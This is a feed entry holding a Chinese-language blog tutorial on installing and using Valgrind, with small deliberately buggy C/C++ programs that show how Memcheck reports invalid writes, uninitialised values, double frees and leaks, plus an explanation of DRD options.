        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/valgrind使用方法/"/>
        <id>https://vercel.juzhong.asia/obsidian/valgrind使用方法/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/valgrind使用方法/">&lt;h1 id=&quot;valgrindshi-yong-fang-fa&quot;&gt;valgrind使用方法&lt;&#x2F;h1&gt;
&lt;h5 id=&quot;1-preface&quot;&gt;1. Preface&lt;&#x2F;h5&gt;
&lt;p&gt; valgrind是一套Linux下开源的程序仿真调试和分析工具的集合；集合中的每个工具负责执行某种类型的仿真，调试，或者分析任务；它的主要结构包括一个内核(软件模拟CPU环境)以及一系列的小工具。&lt;&#x2F;p&gt;
&lt;p&gt;valgrind包含的工具主要如下:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Memcheck&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;主要针对C和C++程序的内存管理和分配错误；Memcheck会检测运行程序对内存所有的读写操作，包括(new&#x2F;delete 和 malloc&#x2F;free),Memcheck会对一下错误进行检测：
(1) 访问非法的内存(未分配，已释放，堆边界以外的区域，栈不可访问的区域)
(2) 以不安全的方式使用未初始化的值
(3) 内存泄漏
(4) 对内存释放异常(多次释放)
(5) 向memcpy()函数传递的src和dst内存有重叠
对于上述相关的错误，Memcheck会给出在源代码中的出错位置以及对应的调用栈信息&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Cachegrind&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Cache分析器，它能够模拟CPU中的一级缓存L1,D1和二级缓存，且能够精确指出程序中cache的命中和丢失，此外还可以给出cache丢失次数；Cachegrind还可以给出每行代码，每个函数，每个模块，和整个程序的内存引用次数以及指令数；有利于优化程序；&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Callgrind&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Callgrind相当于Cachegrind的一个扩展，它除了能够给出Cachegrind提供的所有信息之外，还可以给出程序的调用图；此外它还可作为一个独立的工具进行使用，可用于可视化的展示Callgrind收集到的数据；也可用于可视化的展示Cachegrind的输出信息；&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Massif&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;堆分析器，Massif通过程序的堆内存快照技术，实现堆内存的分析；Massif会生成一张表示程序运行过程中堆内存使用情况的图，包括在运行过程中哪个模块占用的堆内存最多等信息；生成的图以文本文件或者html文件呈现&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Helgrind&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Helgrind是线程调试器，用于检测多线程程序中出现的数据竞争问题，Helgrind会去查找被多个线程访问的内存区域，且检测这些内存区域在使用时是否进行了线程同步，如果没有，则这些内存区域会是潜在的隐患，可能会造成一些非常棘手的问题。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;DRD&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;功能与Helgrind类似，但是占用内存更少；&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;SGcheck&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;用于检测栈和全局数组溢出&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-usage&#x2F;valgrind-tools-overview.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h5 id=&quot;2-valgrindan-zhuang&quot;&gt;2. valgrind安装&lt;&#x2F;h5&gt;
&lt;p&gt;源码下载地址：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;valgrind.org&#x2F;&quot;&gt;Valgrind官方网站&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;wget http:&#x2F;&#x2F;www.valgrind.org&#x2F;downloads&#x2F;valgrind-3.14.0.tar.bz2&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h6 id=&quot;2-1-jie-ya-an-zhuang-bao&quot;&gt;2.1 解压安装包&lt;&#x2F;h6&gt;
&lt;p&gt;&lt;code&gt;tar -xvf valgrind-3.20.0.tar.bz2 &lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h6 id=&quot;2-2-yun-xing-autogen-sh&quot;&gt;2.2 运行autogen.sh&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cd valgrind-3.20.0.&amp;#x2F;autogen.sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果提示缺少相应的autotools系列工具，则执行：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;sudo apt get install autoconf&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;autotools系列工具包括如下子工具：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;aclocal&lt;&#x2F;li&gt;
&lt;li&gt;autoscan&lt;&#x2F;li&gt;
&lt;li&gt;autoconf&lt;&#x2F;li&gt;
&lt;li&gt;autoheader&lt;&#x2F;li&gt;
&lt;li&gt;automake&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h6 id=&quot;2-3-yun-xing-configurejiao-ben&quot;&gt;2.3 运行configure脚本&lt;&#x2F;h6&gt;
&lt;p&gt;&lt;code&gt;.&#x2F;configure&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h6 id=&quot;2-4-bian-yi-an-zhuang&quot;&gt;2.4 编译安装&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;make sudo make install
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;3-valgrindshi-yong&quot;&gt;3. valgrind使用&lt;&#x2F;h5&gt;
&lt;p&gt;使用格式：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;valgrind [options] prog-and-args&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;options选项：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;-tool=&amp;lt;toolname&amp;gt;  选择valgrind工具集中的工具，默认为memcheck&lt;&#x2F;li&gt;
&lt;li&gt;-v&#x2F;--version        显示版本信息&lt;&#x2F;li&gt;
&lt;li&gt;-h&#x2F;--help           显示帮助信息&lt;&#x2F;li&gt;
&lt;li&gt;-q&#x2F;--quiet          安静模式，只打印错误信息&lt;&#x2F;li&gt;
&lt;li&gt;-v&#x2F;--verbose        打印详细信息&lt;&#x2F;li&gt;
&lt;li&gt;--trace-children=no|yes  是否跟踪子进程，默认值no&lt;&#x2F;li&gt;
&lt;li&gt;--trace-fds=no|yes  是否跟踪打开的文件描述符，默认值no&lt;&#x2F;li&gt;
&lt;li&gt;--time-stamp=no|yes  是否在打印的信息前面加上时间戳，默认值no&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;关于输出的选线：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;--log-fd=&amp;lt;num&amp;gt;   输出Log信息到指定的文件描述符(0,1,2 &#x2F;stdin,stdout,stderr)&lt;&#x2F;li&gt;
&lt;li&gt;--log-file=&amp;lt;file&amp;gt;      将Log信息输出到指定文件&lt;&#x2F;li&gt;
&lt;li&gt;--log-socket=ipAddr:Port 将Log输出到指定的socket&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h5 id=&quot;4-memcheckde-shi-yong&quot;&gt;4. Memcheck的使用&lt;&#x2F;h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;--leak-check=no|summary|full   在退出时是否查找内存泄漏&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;no表示不检查  summary表示输出概括性的信息  full表示输出详细信息&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;--leak-resolution=&amp;lt;low|med|high&amp;gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;表示是否将内存检查的结果进行合并展示，只会影响展示，不影响内存检查的结果(英文大概是这个意思)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;--show-leak-kinds=&amp;lt;set&amp;gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;指定显示内存泄漏的种类  可选值：definite,indirect,possible,reachable,all&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;其他的参数可查阅说明书：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;valgrind.org&#x2F;docs&#x2F;manual&#x2F;mc-manual.html#mc-manual.overview&quot;&gt;https:&#x2F;&#x2F;valgrind.org&#x2F;docs&#x2F;manual&#x2F;mc-manual.html#mc-manual.overview&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Memcheck可检测的错误包括:&lt;&#x2F;p&gt;
&lt;h6 id=&quot;1-fei-fa-de-du-xie-cuo-wu&quot;&gt;1.非法的读写错误&lt;&#x2F;h6&gt;
&lt;p&gt;在程序读写Memcheck认为不合法的地址时，会输出类似的错误，例如访问已经释放的内存，以及非法的栈地址；&lt;&#x2F;p&gt;
&lt;p&gt;测试代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;#include &amp;lt;stdlib.h&amp;gt;int main(int argc, char* argv[]){    int* p = (int*)malloc(sizeof(int));    *p = 1;    *(p+1) = 2;      &amp;#x2F;&amp;#x2F; 非法地址，未经过分配    free(p);    return 0;}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Memcheck Log输出信息：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-usage&#x2F;memcheck-invalid-write-output.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;输出信息中需要注意如果ERROE SUMMARY: 后的错误数量不为0，则仔细查看输出的日志信息；&lt;&#x2F;p&gt;
&lt;h6 id=&quot;2-shi-yong-wei-chu-shi-hua-de-zhi&quot;&gt;2.使用未初始化的值&lt;&#x2F;h6&gt;
&lt;p&gt;测试代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;#include &amp;lt;stdio.h&amp;gt;int main(int argc, char* argv[]){    int x;    printf(&amp;quot;The value is %d\n&amp;quot;, x);    return 0;}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Memcheck Log输出信息：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-usage&#x2F;memcheck-uninitialized-value.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果不想Memcheck检测此类错误，可以添加参数设置：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;--undef-value-errors=no&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h6 id=&quot;3-wei-chu-shi-hua-huo-zhe-zai-xi-tong-diao-yong-zhong-wu-fa-xun-zhi-de-bian-liang&quot;&gt;3.未初始化或者在系统调用中无法寻址的变量&lt;&#x2F;h6&gt;
&lt;p&gt;Memcheck会检测所有系统调用涉及到的参数，包括如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果系统调用需要从程序提供的缓冲区中读取数据，那么memcheck会检测缓冲区的地址是否有效以及缓冲区中的数据是否进行了初始化&lt;&#x2F;li&gt;
&lt;li&gt;如果系统调用需要从程序提供的缓冲区中写入数据，则memcheck会检测缓冲区地址的有效性&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;测试代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;#include &amp;lt;stdlib.h&amp;gt;#include &amp;lt;unistd.h&amp;gt;void test(){   char* arr  = (char*)malloc(10);   int*  arr2 = (int*)malloc(sizeof(int));   write( 1 &amp;#x2F;* stdout *&amp;#x2F;, arr, 10 );   exit(arr2[0]);   &amp;#x2F;&amp;#x2F; arr2[0]无法进行寻址}int main(void){   test();}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Memcheck输出信息:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-usage&#x2F;memcheck-uninitialized-buffer.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h6 id=&quot;4-fei-fa-de-nei-cun-shi-fang&quot;&gt;4. 非法的内存释放&lt;&#x2F;h6&gt;
&lt;p&gt;Memcheck会对程序中使用new&#x2F;malloc分配的内存进行持续追踪，因此它能够检测出传递给free&#x2F;delete的内存地址是否是合法的；例如对同一块动态分配的内存执行两次释放；则第二次释放，free&#x2F;delete的参数(地址)就是不合法的&lt;&#x2F;p&gt;
&lt;p&gt;测试程序：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;#include &amp;lt;stdlib.h&amp;gt;#include &amp;lt;unistd.h&amp;gt;int main(void){   char* arr  = (char*)malloc(10);   free(arr);   free(arr);      &amp;#x2F;&amp;#x2F; 重复释放内存   return 0;}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-usage&#x2F;valgrind-double-free-detect.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h6 id=&quot;5-dui-nei-cun-shi-fang-he-fen-pei-han-shu-bu-pi-pei&quot;&gt;5. 堆内存释放和分配函数不匹配&lt;&#x2F;h6&gt;
&lt;p&gt;在c++中，内存的分配与释放函数必须匹配：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;使用&lt;code&gt;malloc, calloc, realloc, valloc, memalign&lt;&#x2F;code&gt;分配的内存，必须使用&lt;code&gt;free&lt;&#x2F;code&gt;进行释放&lt;&#x2F;li&gt;
&lt;li&gt;使用&lt;code&gt;new&lt;&#x2F;code&gt;分配的内存必须使用&lt;code&gt;delete&lt;&#x2F;code&gt;进行释放&lt;&#x2F;li&gt;
&lt;li&gt;使用&lt;code&gt;new []&lt;&#x2F;code&gt;分配的内存必须使用&lt;code&gt;delete []&lt;&#x2F;code&gt;进行释放&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;c++&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;#include &amp;lt;stdlib.h&amp;gt;#include &amp;lt;unistd.h&amp;gt;#include &amp;lt;malloc.h&amp;gt;int main(void){    char* arr  = (char*)malloc(10);    delete arr;    return 0;}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-usage&#x2F;valgrind-new-free-mismatch.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;备注：在Linux平台上混用new和free并不会导致出错，但是在其他的平台上却不一定，可能会导致程序crash;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The reason behind the requirement is as follows. In some C++ implementations, delete[] must be used for objects allocated by new[] because the compiler stores the size of the array and the pointer-to-member to the destructor of the array&#x27;s content just before the pointer actually returned. delete doesn&#x27;t account for this and will get confused, possibly corrupting the heap. &amp;lt;from: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;valgrind.org&#x2F;docs&#x2F;manual&#x2F;mc-manual.html#mc-manual.bad-syscall-args&quot;&gt;https:&#x2F;&#x2F;valgrind.org&#x2F;docs&#x2F;manual&#x2F;mc-manual.html#mc-manual.bad-syscall-args&lt;&#x2F;a&gt;&amp;gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;h6 id=&quot;6-yuan-di-zhi-he-mu-biao-di-zhi-de-chu-xian-nei-cun-fu-gai-overlapping&quot;&gt;6. 源地址和目标地址的出现内存覆盖(overlapping)&lt;&#x2F;h6&gt;
&lt;p&gt;c&#x2F;c++语言可直接对内存进行操作，提供了许多的内存拷贝函数，&lt;code&gt;memcpy, strcpy, strncpy, strcat, strncat&lt;&#x2F;code&gt;，POSIX标准规定，如果对象之间的内存拷贝出现相互覆盖，则将导致最后的结果是不确定的；&lt;&#x2F;p&gt;
&lt;h6 id=&quot;7-fen-pei-nei-cun-de-can-shu-bu-he-fa-fishy-argument&quot;&gt;7. 分配内存的参数不合法(fishy argument)&lt;&#x2F;h6&gt;
&lt;p&gt;  在分配内存时需要指定内存的大小，如果指定内存大小的参数不合法(负值或者过大的值2^64)，则memcheck会指出不合法的内存值；memcheck对下列函数的参数都会进行校验：&lt;&#x2F;p&gt;
&lt;p&gt;malloc, calloc, realloc, memalign, new, new []. __builtin_new, __builtin_vec_new&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;#include &amp;lt;stdlib.h&amp;gt;#include &amp;lt;unistd.h&amp;gt;#include &amp;lt;malloc.h&amp;gt;#include &amp;lt;string.h&amp;gt;int main(void){    char* arr  = (char*)malloc(-10);    for (size_t i = 0; i &amp;lt; 10; i++)    {        &amp;#x2F;* code *&amp;#x2F;        arr[i] = i+1;    }    free(arr);    return 0;}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-usage&#x2F;valgrind-fishy-argument-malloc.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h6 id=&quot;8-nei-cun-xie-lou-jian-ce&quot;&gt;8. 内存泄漏检测&lt;&#x2F;h6&gt;
&lt;p&gt;  memcheck会在程序运行过程中追踪所有堆内分配的内存，因此在程序退出的时候，它能够知到哪些动态分配的内存还没有被释放；&lt;&#x2F;p&gt;
&lt;p&gt;可通过以下两种方式访问分配的内存：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;start-pointer: 此类指针指向内存的起始位置(连续内存)；&lt;&#x2F;li&gt;
&lt;li&gt;interior-pointer：此类指针指向内存中间的某个位置(连续内存)；&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;interior-pointer例子: 指向std::string的指针。在stdString中，前3个word用来存储字符串的长度，容量，以及引用计数，后续才是字符串的实际内容，所以指向stdString的指针，实际的起始位置是存储位置中3个word之后的位置。&lt;&#x2F;p&gt;
&lt;p&gt;通过增加参数&lt;code&gt;--leak-check=full&lt;&#x2F;code&gt;，memcheck可以给出内存泄漏的详细描述信息，可能导致内存泄漏的情况如下所示：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-usage&#x2F;valgrind-leak-case-diagram.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;vhdl&quot; class=&quot;language-vhdl &quot;&gt;&lt;code class=&quot;language-vhdl&quot; data-lang=&quot;vhdl&quot;&gt; Pointer chain                AAA Leak Case   BBB Leak Case     -------------            -------------   -------------(1)  RRR ------------&amp;gt; BBB                    DR(2)  RRR ---&amp;gt; AAA ---&amp;gt; BBB    DR              IR(3)  RRR               BBB                    DL(4)  RRR      AAA ---&amp;gt; BBB    DL              IL(5)  RRR ------?-----&amp;gt; BBB                    (y)DR, (n)DL(6)  RRR ---&amp;gt; AAA -?-&amp;gt; BBB    DR              (y)IR, (n)DL(7)  RRR -?-&amp;gt; AAA ---&amp;gt; BBB    (y)DR, (n)DL    (y)IR, (n)IL(8)  RRR -?-&amp;gt; AAA -?-&amp;gt; BBB    (y)DR, (n)DL    (y,y)IR, (n,y)IL, (_,n)DL(9)  RRR      AAA -?-&amp;gt; BBB    DL              (y)IL, (n)DLPointer chain legend:- RRR: a root set node or DR block- AAA, BBB: heap blocks- ---&amp;gt;: a start-pointer- -?-&amp;gt;: an interior-pointerLeak Case legend:- DR: Directly reachable- IR: Indirectly reachable- DL: Directly lost- IL: Indirectly lost- (y)XY: it&amp;#x27;s XY if the interior-pointer is a real pointer- (n)XY: it&amp;#x27;s XY if the interior-pointer is not a real pointer- (_)XY: it&amp;#x27;s XY in either case
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;memcheck官方手册对其描述为：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Still-reachable&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;针对情况(1)(2)，指向内存的指针依然存在，此类问题非常常见，且从理论上来说，在程序退出之前任然可以通过指针释放对应的内存，因此通常认为不是严重问题，memcheck默认不会单独报告此类错误；&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Definitely lost&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;针对情况(3)，不再有指针指向对应的内存块，指向内存的指针值已经被修改为其他值，导致在程序退出之前无法再通过指针去释放对应的内存块；此类问题是需要编程者去修复的问题；&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Indirectly lost&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;针对情况(4)和(9)，例如对于一棵二叉树，如果二叉树的根节点指针值被修改，则其对应的所有子节点内存便无法访问，此时子节点的内存就是Indirectly lost，此类问题在恢复根节点指针之后便可修复，memcheck默认不会单独报告此类问题；&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Possibly lost&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;针对情况(5)~(8)，在指针链中，有一个或者多个指针是interior-pointer类型的指针，需要看这个指针的值是一个有效的interior-pointer，还是内存中一个凑巧和interior-pointer值相等的随机数，(This means that a chain of one or more pointers to the block has been found, but at least one of the pointers is an interior-pointer. This could just be a random value in memory that happens to point into a block, and so you shouldn&#x27;t consider this ok unless you know you have interior-pointers.)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;参数：
--show-leak-kinds=definite,possible，(all).可指定显示特定类型内存泄露错误；&lt;&#x2F;p&gt;
&lt;h5 id=&quot;5-drdde-shi-yong&quot;&gt;5. DRD的使用&lt;&#x2F;h5&gt;
&lt;p&gt;  DRD主要用于检查多线程c和c++程序中的错误；适用于使用POSIX标准线程的程序或者是基于POSIX标准多线程概念设计的程序；&lt;&#x2F;p&gt;
&lt;p&gt;POSIX标准多线程概念具备如下特点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;地址空间共享：所有的线程在同一进程中运行且共享同一地址空间，且所有数据无论被线程共享与否，都是通过地址进行标识；&lt;&#x2F;li&gt;
&lt;li&gt;读写共享内存的操作都是在同一线程内完成&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;多线程程序存在的问题包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;数据竞争&lt;&#x2F;li&gt;
&lt;li&gt;锁竞争&lt;&#x2F;li&gt;
&lt;li&gt;POSIX线程API使用不当&lt;&#x2F;li&gt;
&lt;li&gt;死锁&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;常用参数：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;--check-stack-var=&amp;lt;yes|no&amp;gt; [default:no]&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;控制DRD是否检测栈内存上的数据竞争，此选项默认为no，因为大部分程序不会在线程之间共享栈内存上的数据&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;--exclusive-threshold=
[default:off]&amp;gt;&amp;gt; 如果互斥量mutex或者写锁的Lock时间大于指定的时间n(单位:ms)，则会打印处对应的错误；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;--shared-threshold=
[default: off]&amp;gt;&amp;gt; 如果读锁的Lock时间大于指定的时间n(单位:ms)，则会打印处对应的错误；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;--show-confl-seg=&amp;lt;yes|no&amp;gt; [default: yes]&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;显示冲突的段信息，显示冲突的段信息可以发现数据竞争的原因，所以此选项默认为开启&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;--join-list-vol=
[default: 10]&amp;gt;&amp;gt; 如果在线程join之后立即丢弃线程的内存访问信息，则可能会错过一个线程末尾和另一个线程之间发生的数据竞争。此选项允许指定应保留多少个join之后的线程的内存访问信息。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;--show-stack-usage=&amp;lt;yes|no&amp;gt; [default: no]&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;在线程退出时，打印栈内存的使用情况。当程序创建大量的线程时，限制为线程栈内存分配的虚拟内存非常重要，通过这个参数可以观察到用户程序的每个线程使用了多少栈内存。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;--trace-addr=&amp;lt;address&amp;gt; [default: none]&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;追踪指定地址上的数据加载和存储活动，可多次指定。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;--ptrace-addr=&amp;lt;address&amp;gt; [default: none]&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;追踪指定地址上的数据加载和存储活动，即使指定的地址被释放或者重新分配，依然会保持追踪&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;--trace-alloc=&amp;lt;yes|no&amp;gt; [default: no]&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;追踪程序中所有的内存分配和回收活动&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;blockquote&gt;
